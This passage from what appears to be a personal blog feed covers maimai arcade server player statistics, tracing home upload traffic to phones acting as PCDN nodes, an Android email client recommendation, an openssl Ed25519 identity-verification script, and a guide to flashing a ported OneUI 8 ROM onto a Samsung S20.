&lt;th&gt;Rating&lt;/th&gt;
&lt;th&gt;lastRomVersion&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2147483647&lt;/td&gt;
&lt;td&gt;1.51.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1932217053&lt;/td&gt;
&lt;td&gt;1.99.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1145141919&lt;/td&gt;
&lt;td&gt;1.51.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;999999999&lt;/td&gt;
&lt;td&gt;1.50.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;99999999&lt;/td&gt;
&lt;td&gt;1.51.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5201314&lt;/td&gt;
&lt;td&gt;1.66.1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1919810&lt;/td&gt;
&lt;td&gt;1.41.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;999999&lt;/td&gt;
&lt;td&gt;1.50.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;127684&lt;/td&gt;
&lt;td&gt;1.00.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;99999&lt;/td&gt;
&lt;td&gt;rnm还钱&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;99999&lt;/td&gt;
&lt;td&gt;1.41.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;99999&lt;/td&gt;
&lt;td&gt;1.51.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;99999&lt;/td&gt;
&lt;td&gt;9.99.99&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;99999&lt;/td&gt;
&lt;td&gt;1.51.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;99999&lt;/td&gt;
&lt;td&gt;1.41.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;99999&lt;/td&gt;
&lt;td&gt;1.51.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;99999&lt;/td&gt;
&lt;td&gt;9.99.99&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;99999&lt;/td&gt;
&lt;td&gt;1.34.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;99999&lt;/td&gt;
&lt;td&gt;1.41.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;99999&lt;/td&gt;
&lt;td&gt;1.41.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;99999&lt;/td&gt;
&lt;td&gt;9.99.99&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;99999&lt;/td&gt;
&lt;td&gt;1.41.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;99999&lt;/td&gt;
&lt;td&gt;1.41.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;99999&lt;/td&gt;
&lt;td&gt;1.50.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;97441&lt;/td&gt;
&lt;td&gt;1.41.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;92778&lt;/td&gt;
&lt;td&gt;1.51.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;77777&lt;/td&gt;
&lt;td&gt;1.20.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;66666&lt;/td&gt;
&lt;td&gt;1.41.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;29732&lt;/td&gt;
&lt;td&gt;1.51.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;23333&lt;/td&gt;
&lt;td&gt;1.40.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;23333&lt;/td&gt;
&lt;td&gt;1.41.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;23333&lt;/td&gt;
&lt;td&gt;1.41.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;23333&lt;/td&gt;
&lt;td&gt;1.99.99&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;18964&lt;/td&gt;
&lt;td&gt;9.99.99&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;18964&lt;/td&gt;
&lt;td&gt;9.99.99&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;17899&lt;/td&gt;
&lt;td&gt;1.32.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;17777&lt;/td&gt;
&lt;td&gt;1.51.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;17550&lt;/td&gt;
&lt;td&gt;1.41.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;17000&lt;/td&gt;
&lt;td&gt;1.41.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;-1&lt;/td&gt;
&lt;td&gt;1.51.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;-1&lt;/td&gt;
&lt;td&gt;1.50.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;-1&lt;/td&gt;
&lt;td&gt;1.51.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;-1145&lt;/td&gt;
&lt;td&gt;1.50.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;-99999&lt;/td&gt;
&lt;td&gt;1.40.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;-2147483647&lt;/td&gt;
&lt;td&gt;1.41.00&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Hacker version numbers&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;lastRomVersion&lt;/th&gt;
&lt;th&gt;Number of accounts using this version&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;9.99.99&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;你好&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;电棍笑传&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;爱新觉罗&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;我也想玩国服&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;天安门&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;rnm还钱&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9.99.00&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;114.02.00&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;UID block distribution pattern&lt;/h2&gt;
&lt;p&gt;Since UIDs increase, the rough distribution of versions and UID blocks can be inferred to some extent. A simple derivation gives the following (not guaranteed 100% correct; there may be errors)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;DX first generation: &lt;code&gt;101&lt;/code&gt; ~ &lt;code&gt;104&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;DX2021: &lt;code&gt;105&lt;/code&gt; ~ &lt;code&gt;109&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;DX2022: &lt;code&gt;110&lt;/code&gt; ~ &lt;code&gt;114&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;DX2023: &lt;code&gt;115&lt;/code&gt; ~ &lt;code&gt;120&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;DX2024: &lt;code&gt;121&lt;/code&gt; ~ &lt;code&gt;128&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;DX2025: &lt;code&gt;129&lt;/code&gt; ~ ?&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Number of players per version&lt;/h2&gt;
&lt;p&gt;Roughly calculated from UID blocks; accuracy not guaranteed&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Generation&lt;/th&gt;
&lt;th&gt;Estimated number of players&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;DX first generation&lt;/td&gt;
&lt;td&gt;116332&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DX2021&lt;/td&gt;
&lt;td&gt;216945&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DX2022&lt;/td&gt;
&lt;td&gt;260117&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DX2023&lt;/td&gt;
&lt;td&gt;257498&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DX2024&lt;/td&gt;
&lt;td&gt;345038&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DX2025&lt;/td&gt;
&lt;td&gt;At least 215369&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Veterans&lt;/h2&gt;
&lt;p&gt;There are 14816 veterans who have played from the DX first generation all the way to now&lt;/p&gt;
&lt;h2&gt;Miscellaneous&lt;/h2&gt;
&lt;h3&gt;NET membership&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;Players&lt;/th&gt;
&lt;th&gt;Share&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Non-member&lt;/td&gt;
&lt;td&gt;930,297&lt;/td&gt;
&lt;td&gt;65.9%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Network member&lt;/td&gt;
&lt;td&gt;481,002&lt;/td&gt;
&lt;td&gt;34.1%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;lastROMver distribution&lt;/h3&gt;
&lt;p&gt;You can see how many players across the whole server have quit&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Generation&lt;/th&gt;
&lt;th&gt;Players&lt;/th&gt;
&lt;th&gt;Share&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;DX 2025&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;416,001&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;29.48%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;DX 2024&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;312,693&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;22.16%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;DX 2022&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;205,070&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;14.53%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;DX 2023&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;228,952&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;16.22%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;DX 2021&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;164,610&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;11.66%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;DX first generation&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;83,962&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;5.95%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Total&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;1,411,228&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;100.00%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Because this records the version last played, it doesn&apos;t reflect the number of players in each version; it&apos;s more like a reflection of how many players died off from the first generation to 2024&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Full-server rating&lt;/h2&gt;
&lt;p&gt;If you&apos;re interested, you can check out the &lt;a href=&quot;https://mai.chongxi.us/ratinglist&quot;&gt;maimai CN server percentile chart&lt;/a&gt;. It&apos;s currently updated with the real full-server rating rankings for DX2026, and there&apos;s a 2025 one too, though that data is from early 2026 and isn&apos;t very useful as a reference&lt;/p&gt;
</content:encoded><category>maimai</category><category>游戏</category><author>Chongxi</author></item><item><title>Catching the Home Network &apos;Cheating&apos;</title><link>https://xice.cx/en/posts/fuckPCDN/</link><guid isPermaLink="true">https://xice.cx/en/posts/fuckPCDN/</guid><description>Broadband mysteriously blocked at home? A full record of the PCDN investigation and unblocking process.</description><pubDate>Thu, 25 Jun 2026 16:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Last time, the story went like this: Chongxi&apos;s home was mysteriously throttled by China Mobile to 4Mbps upstream. Since Chongxi had indeed been migrating backups from his cloud drive these past few days, he didn&apos;t get suspicious about the huge total upload counter on the router&apos;s WAN port&lt;/p&gt;
&lt;p&gt;After talking with the area manager, the broadband technician came to my home for an on-site inspection. When he checked the ONT and the router he went round and round and found nothing: no NAS, no set-top box, nothing but the single cable connecting the ONT and the router. The technician scratched his head for ages, unable to figure out why the broadband had been blocked&lt;/p&gt;
&lt;p&gt;Then the technician asked to go into the ONT&apos;s admin panel to look at the topology. As soon as he saw that the ONT was in bridge mode with the router doing the dial-up, he reported the situation to the area manager, who was absolutely furious, saying this was a violation of the rules&lt;/p&gt;
&lt;p&gt;Since the technician&apos;s China Mobile app kept failing to bind to the ONT (well, of course — I&apos;d deleted the remote control), the area manager told him to swap in a new one, the PT927G we talked about last time. After re-binding it he took a few photos, then there was still the signed letter of guarantee, and that was that&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Then came the part where it took me only three minutes to successfully get the new ONT&apos;s superadmin password, and I switched the router dial-up back (see &lt;a href=&quot;/en/posts/CMCCPT927G/&quot;&gt;the previous post&lt;/a&gt;). Then I refreshed the data and, good lord, it had only just been connected and the WAN port had already pushed 10.6GiB of upload while download was only 8.8GiB. That definitely wasn&apos;t right, so I hurriedly installed a bandwidth monitoring package to see which device was up to no good. The truth came out at once: the monitor had only been installed for a minute or two and upload had already run 234MiB, several times the download. It was coming from the old folks&apos; phones at home. I could guess with my eyes closed that some streaming platform was behind it — my NAT1 is great for hole punching, isn&apos;t it? One look at the UPnP list and there&apos;s a 168h terms-of-service clause. No wonder my broadband got blocked: these platforms secretly use people as PCDNs. They&apos;re worse than some PCDN providers — at least those pay you a little. These guys not only suck your blood, they get your broadband blocked. Absolutely disgusting&lt;/p&gt;
&lt;p&gt;In a fit of anger I just installed &lt;code&gt;qosmate&lt;/code&gt;, throttled upstream to 500KB/s, and turned off UPnP while I was at it. These vampire vendors really are disgusting&lt;/p&gt;
</content:encoded><category>网络</category><category>安全</category><author>Chongxi</author></item><item><title>The Best Android Email Client Recommendation</title><link>https://xice.cx/en/posts/mailClientRecommend/</link><guid isPermaLink="true">https://xice.cx/en/posts/mailClientRecommend/</guid><description>A recommendation for good aggregated email clients on Android.</description><pubDate>Mon, 22 Jun 2026 16:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Intro&lt;/h2&gt;
&lt;p&gt;Sharing a case again. I don&apos;t know whether any of you have used iOS&apos;s built-in Mail app — using it to aggregate Gmail/Outlook and the like works really well. So is there an equivalent on Android? Before this, maybe not, because my phone had Gmail, Outlook, Proton and a whole pile of other clients at once, and managing them was miserable. Later I tried things like Spark, but it always felt a bit lacking (because you have to pay). So is there an aggregator client that can stand up to iOS&apos;s built-in Mail app? Yes, brothers, there is, and it is:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Samsung Mail&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;Samsung Mail&lt;/h2&gt;
&lt;p&gt;Samsung&apos;s system apps — anyone who&apos;s used Samsung Internet probably already knows how good OneUI&apos;s system apps are. Even though it&apos;s branded Samsung, it also works on other Android phones; the only exception is Proton, which can&apos;t be added because of its own end-to-end encryption. In my testing Gmail and Outlook are both fine. The whole app is very clean, zero ads, no premium tier or anything — the only one I&apos;ve tried that can go toe to toe with iOS Mail&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/Screenshot_20260623_214819_Alight%20Motion.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/Screenshot_20260623_213414_Email.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;So here&apos;s the question: the Gmail and Outlook clients can add other mailboxes too. True, but in my testing, Gmail errors out when adding Outlook, and Outlook errors out when adding Gmail. Very weird, bro; I switched accounts several times and the problem persists. Really out of options&lt;/p&gt;
&lt;p&gt;As for Chinese email providers, there doesn&apos;t seem to be a good way; you can only use their own clients, and third-party ones get killed off by them from time to time&lt;/p&gt;
</content:encoded><category>Android</category><category>软件</category><author>Chongxi</author></item><item><title>How to Verify Whether Someone Is Really Me, Chongxi</title><link>https://xice.cx/en/posts/VerifyChongxi/</link><guid isPermaLink="true">https://xice.cx/en/posts/VerifyChongxi/</guid><description>An Ed25519 signature verification method to confirm whether someone is the real Chongxi</description><pubDate>Sun, 21 Jun 2026 14:34:21 GMT</pubDate><content:encoded>&lt;p&gt;Ed25519 Public Key
&lt;code&gt;MCowBQYDK2VwAyEAAPB9MubdfbA6yF+rEpqVtPYCXE94/nEUh3OofiHx8c0=&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Fingerprint: &lt;code&gt;f254c03b0d61f664&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Owner: &lt;code&gt;Chongxi &amp;lt;qwq@chongxi.us&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Website: &lt;code&gt;chongxi.us&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you suspect someone is impersonating Chongxi, you can send them a challenge string,
for example &lt;code&gt;VerifyChongxi1782050590&lt;/code&gt;, and ask them to sign it with the private key and return the signature value.&lt;/p&gt;
&lt;p&gt;Then verify the signature using the public key above:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;TMPPUB=$(mktemp)
TMPSIG=$(mktemp)
TMPMSG=$(mktemp)

echo &quot;-----BEGIN PUBLIC KEY-----
MCowBQYDK2VwAyEAAPB9MubdfbA6yF+rEpqVtPYCXE94/nEUh3OofiHx8c0=
-----END PUBLIC KEY-----&quot; &amp;gt; $TMPPUB

echo &quot;我签名出的base64放在这&quot; | base64 -d &amp;gt; $TMPSIG

echo -n &quot;你给出的挑战字符串&quot; &amp;gt; $TMPMSG

openssl pkeyutl -verify -pubin -inkey $TMPPUB -rawin -in $TMPMSG -sigfile $TMPSIG

rm -f $TMPPUB $TMPSIG $TMPMSG
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If verification passes, you can confirm that the person is me&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Suppose there&apos;s someone named Jackdwh who thinks the person chatting with him isn&apos;t the real Chongxi. Then he can ask the other party to verify: &lt;code&gt;你真是Chongxi嘛20260621221640&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;If the other party really is me, I will sign &lt;code&gt;7zxngFpM2/uDM1nCIBW+VWwuDnTkfqO7a52UbTX7TmJZ6KeL72SwnvoDFtxZcC2ztHjmaiw+/RCiBVECxfIfCA==&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;At that point Jackdwh opens a terminal and enters&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;TMPPUB=$(mktemp)
TMPSIG=$(mktemp)
TMPMSG=$(mktemp)

echo &quot;-----BEGIN PUBLIC KEY-----
MCowBQYDK2VwAyEAAPB9MubdfbA6yF+rEpqVtPYCXE94/nEUh3OofiHx8c0=
-----END PUBLIC KEY-----&quot; &amp;gt; $TMPPUB

echo &quot;7zxngFpM2/uDM1nCIBW+VWwuDnTkfqO7a52UbTX7TmJZ6KeL72SwnvoDFtxZcC2ztHjmaiw+/RCiBVECxfIfCA==&quot; | base64 -d &amp;gt; $TMPSIG

echo -n &quot;你真是Chongxi嘛20260621221640&quot; &amp;gt; $TMPMSG
//由于blog会自动pangu给中英文加空格，实际这里应该是没有空格的

openssl pkeyutl -verify -pubin -inkey $TMPPUB -rawin -in $TMPMSG -sigfile $TMPSIG

rm -f $TMPPUB $TMPSIG $TMPMSG
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After pressing Enter, if the terminal outputs &lt;code&gt;Signature Verified Successfully&lt;/code&gt;, then it&apos;s confirmed to be me&lt;/p&gt;
</content:encoded><category>博客</category><category>安全</category><author>Chongxi</author></item><item><title>Flashing a Ported OneUI 8 onto the Samsung S20 Series</title><link>https://xice.cx/en/posts/samsungS20FlashOneUI8/</link><guid isPermaLink="true">https://xice.cx/en/posts/samsungS20FlashOneUI8/</guid><description>Flashing the ported OneUI 8 on the whole Samsung S20 lineup: a complete tutorial and points to note.</description><pubDate>Sun, 21 Jun 2026 03:31:11 GMT</pubDate><content:encoded>&lt;h2&gt;Intro&lt;/h2&gt;
&lt;p&gt;Anyone who read my previous post about &lt;a href=&quot;/en/posts/evolutionYourS20/&quot;&gt;flashing an AOSP-like ROM on the Samsung S20&lt;/a&gt; probably knows that I&apos;m rather fond of the S20; if you haven&apos;t read it, that&apos;s fine too. This article focuses on how to flash a ported OneUI 8 ROM onto the S20 series&lt;/p&gt;
&lt;p&gt;What we&apos;re flashing this time is Astro ROM, ported from the S23 Ultra. Everything works fine; drivers like the camera and fingerprint all behave normally&lt;/p&gt;
&lt;h2&gt;Supported models&lt;/h2&gt;
&lt;p&gt;Snapdragon models only!!!&lt;/p&gt;
&lt;p&gt;Samsung Galaxy S20 (x1q)
Samsung Galaxy S20+ (y2q)
Samsung Galaxy S20 Ultra (z3q)&lt;/p&gt;
&lt;p&gt;• SM‑G981N, SM‑G9810, SCG01 ,SC-51a
• SM‑G986N ,SM-G9860 ,SCG02 ,SC-52a
• SM-G988N ,SM-G9880 ,SCG03&lt;/p&gt;
&lt;h2&gt;Preparation&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;An S20&lt;/li&gt;
&lt;li&gt;Good eyesight, functional hands and basic reading comprehension&lt;/li&gt;
&lt;li&gt;The Samsung flashing tool Odin&lt;/li&gt;
&lt;li&gt;A base system firmware (if yours is a China model, you need to flash the Hong Kong firmware as the base first)&lt;/li&gt;
&lt;li&gt;The ported ROM package&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://xdaforums.com/attachments/vbmeta_disabled-tar.6339395/&quot;&gt;vbmeta_disabled.tar&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://xdaforums.com/attachments/multidisabler-samsung-3-1-keep_encrypt-zip.6354488/&quot;&gt;multidisabler-samsung-3.1-keep_encrypt.zip&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And you need to be clear about what you&apos;re doing: you bear every consequence of your flashing. This article is only a guide and takes no responsibility for any possible consequences caused by the operator&lt;/p&gt;
&lt;h2&gt;Firmware download&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://pixeldrain.com/u/Vn7rDZsj&quot;&gt;S20 - x1q - G981N / SCG01 / SC-51A&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pixeldrain.com/u/fHSpNX3G&quot;&gt;S20(China model) - x1q - G9810&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pixeldrain.com/u/hQbRKFMB&quot;&gt;S20+ y2q G986N / SCG02 / SC-52A&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pixeldrain.com/u/UrHhRLVy&quot;&gt;S20+ y2q G9860&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pixeldrain.com/u/wkWS62S9&quot;&gt;S20U z3q G988N / SCG03&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pixeldrain.com/u/LfXDbVkH&quot;&gt;S20U z3q G9880&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Since the streamer&apos;s cloud drive is temporarily out of commission, the download links here are the foreign ones; if they&apos;re slow, sort out your own VPN&lt;/p&gt;
&lt;p&gt;TWRP section&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://xdaforums.com/attachments/x1q-twrp-3-7-0_12-1-tar.6339397/&quot;&gt;x1q&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://xdaforums.com/attachments/y2q-twrp-3-7-0_12-1-tar.6339399/&quot;&gt;y2q&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://xdaforums.com/attachments/z3q-twrp-3-7-0_12-1-tar.6339400/&quot;&gt;z3q&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Flashing process&lt;/h2&gt;
&lt;h3&gt;0. At the very least you should unlock the bootloader&lt;/h3&gt;
&lt;h3&gt;1. Flash the base firmware&lt;/h3&gt;
&lt;p&gt;I&apos;m using my own S20 as the demo here. Since it&apos;s a China model G9810, I need to flash the Hong Kong firmware with Odin as the base first; I recommend downloading firmware from samfw.com&lt;/p&gt;
&lt;h3&gt;2. Flash TWRP&lt;/h3&gt;
&lt;p&gt;Power off first, then hold &lt;code&gt;Volume +&lt;/code&gt; and &lt;code&gt;Volume -&lt;/code&gt;; while holding them, plug the data cable into the computer and it will enter download (commonly known as &quot;coal digging&quot;) mode&lt;/p&gt;
&lt;p&gt;Then open Odin and turn &lt;code&gt;Auto Reboot&lt;/code&gt; off in the options&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;For the AP slot choose twrp.tar&lt;/li&gt;
&lt;li&gt;For the USERDATA slot choose vbmeta disabler.tar
Then just start flashing; when it&apos;s done, hold &lt;code&gt;Power&lt;/code&gt; and &lt;code&gt;Volume -&lt;/code&gt; to power off, then quickly switch to &lt;code&gt;Power&lt;/code&gt; and &lt;code&gt;Volume +&lt;/code&gt; until TWRP boots&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3. Flash Astro Rom&lt;/h3&gt;
&lt;p&gt;It&apos;s split into the following small steps&lt;/p&gt;
&lt;h3&gt;3.1 Formatting&lt;/h3&gt;
&lt;p&gt;After entering TWRP, tap &lt;code&gt;Advanced&lt;/code&gt; -&amp;gt; &lt;code&gt;Terminal&lt;/code&gt; and enter&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;multidisabler
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;then press Enter, until the script finishes, then reboot into Recovery&lt;/p&gt;
&lt;p&gt;Then go into &lt;code&gt;Wipe&lt;/code&gt;, tap to format Data, and reboot into Recovery once more&lt;/p&gt;
&lt;h3&gt;3.2 Flashing&lt;/h3&gt;
&lt;p&gt;Just transfer the package to the phone&apos;s storage, or use &lt;code&gt;adb sideload&lt;/code&gt; — the latter is more convenient, and that&apos;s how I flashed it. When it&apos;s done, just reboot; it may take two reboots&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
